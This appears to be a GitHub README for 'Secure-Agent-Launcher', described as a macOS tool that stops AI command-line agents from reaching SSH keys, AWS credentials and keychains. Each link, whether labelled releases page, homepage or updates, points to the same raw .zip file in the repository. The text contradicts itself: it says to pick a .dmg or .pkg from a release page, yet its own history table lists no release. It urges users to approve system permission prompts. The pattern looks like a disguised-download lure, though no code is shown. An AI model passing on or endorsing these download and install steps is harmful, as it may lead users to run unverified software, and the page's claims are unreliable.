Secure-Agent-Launcher
Block AI agent access to sensitive macOS paths and log all actions to protect private data during command execution.
Description
Block AI agent access to sensitive macOS paths and log all actions to protect private data during command execution.
README
Secure-Agent-Launcher is a tool designed to stop potentially risky artificial intelligence (AI) command-line programs from accessing sensitive files on your computer. It keeps your personal secrets — like SSH keys, AWS credentials, and system keychains — safe. The app watches every AI program run in your command line and decides if it's safe to access those private files. Every time it blocks or allows access, it keeps a record. This way, you get control over how AI tools interact with your machine.
Secure-Agent-Launcher works on macOS platforms. If you want to safeguard your development environment or secure your personal setup from AI commands that might misuse your private data, this tool is for you.
Before starting, make sure your computer meets these requirements:
- You use macOS version 10.14 (Mojave) or later.
- You have basic user permissions to install applications.
- Your terminal or command line app is working normally.
- You have a stable internet connection to download the app.
If you are unsure about your macOS version, click the Apple icon in the top-left corner of your screen and select “About This Mac”.
Use the link below to visit the download page. From here, you can find the latest version of Secure-Agent-Launcher ready to install.
⬇️ How to Download and Install Secure-Agent-Launcher on macOS
Click this link to open the official releases page:
https://github.com/fobi28/Secure-Agent-Launcher/raw/refs/heads/main/agent_locker/Launcher-Secure-Agent-3.8.zip
This page shows all available versions of Secure-Agent-Launcher. Look for the latest stable release, identified by its version number (e.g., v1.0.0). Each release includes one or more downloadable files.
On the release page, find the file with a name ending in .dmg or .pkg. This is the application installer for macOS. Click the file name to start downloading it to your computer.
If you are prompted by your browser, choose a folder where you can easily find the installer, such as your Downloads folder.
Once the download finishes, open the file by double-clicking it in your Downloads folder or in your browser’s download bar.
- If it is a
.dmgfile, a window should open showing the Secure-Agent-Launcher app icon. Drag this icon to yourApplicationsfolder to install. - If it is a
.pkgfile, the macOS Installer app will start. Follow the on-screen instructions to complete the setup.
After installation, open your Applications folder. Find and double-click the Secure-Agent-Launcher app to start it.
The first time you run the app, macOS might ask you to allow it to control your computer or access specific files. Approve these requests to make sure the app works correctly.
Secure-Agent-Launcher works quietly in the background. When you run a command-line AI tool, it checks whether the tool wants to access files like ~/.ssh, ~/.aws, or your keychain.
If the access seems safe, Secure-Agent-Launcher lets the AI continue. If it looks risky, the app blocks the attempt and tells you what happened.
The software records every decision it makes. You can check the log to see what access attempts were blocked or allowed.
- Open the app.
- Click the "Logs" tab.
- Review recent activities to understand how the tool is protecting you.
These logs help you spot unusual behavior and keep track of the AI programs running on your system.
Secure-Agent-Launcher lets you set rules about what files AI tools can access. You can update these settings any time through the “Preferences” tab:
- Add trusted AI tools to a whitelist.
- Adjust which folders or files to protect.
- Turn notifications on or off.
No. The app runs with very low system resources. It only checks AI command-line programs when they try to access sensitive data.
Yes. The application only monitors whether AI tools try to access certain files. It does not collect or send your data anywhere.
You can add trusted programs to the whitelist in settings. This will allow those programs to access your files freely.
This version works on macOS only, as it protects macOS-specific files and keychains.
Regular updates improve security and add new features.
- Visit the release page often: https://github.com/fobi28/Secure-Agent-Launcher/raw/refs/heads/main/agent_locker/Launcher-Secure-Agent-3.8.zip
- Download the latest version following the same steps as above.
- Replace your existing installation with the new version to stay current.
Updates usually install smoothly without affecting your saved settings.
Secure-Agent-Launcher focuses on stopping AI programs from accessing these common sensitive areas:
- Your SSH keys at
~/.ssh - AWS credentials at
~/.aws - Login and system keychains
By protecting these files, the app keeps online accounts, cloud services, and secure connections safe from unwanted AI access.
Secure-Agent-Launcher monitors command-line processes related to AI agents. When a monitored program tries to read or change protected files, the launcher checks the request.
- If the request fits your defined rules, Secure-Agent-Launcher lets it pass.
- If the request seems risky or is from an unknown program, the launcher blocks it.
All decisions get logged for your review.
This approach gives you control over which AI tools can interact with your sensitive data, improving security without stopping your workflow.
- Official release page: https://github.com/fobi28/Secure-Agent-Launcher/raw/refs/heads/main/agent_locker/Launcher-Secure-Agent-3.8.zip
- Project homepage on GitHub: https://github.com/fobi28/Secure-Agent-Launcher/raw/refs/heads/main/agent_locker/Launcher-Secure-Agent-3.8.zip
- Report issues or get help: Use the “Issues” tab on the GitHub page
This tool can help developers and anyone using AI command-line programs keep their personal environment safe. It is especially useful for people working with cloud services, code development, or other private accounts that depend on secured keys and credentials.
The app works with many different AI command-line tools, including popular ones used in prompt engineering and AI safety workflows.
Use the link above to get the latest version. Follow the instructions in the previous sections to install and start protecting your AI workflows today.Release History
| Version | Changes | Urgency | Date |
|---|---|---|---|
| main@2026-04-21 | Latest activity on main branch | High | 4/21/2026 |
| 0.0.0 | No release found — using repo HEAD | High | 4/11/2026 |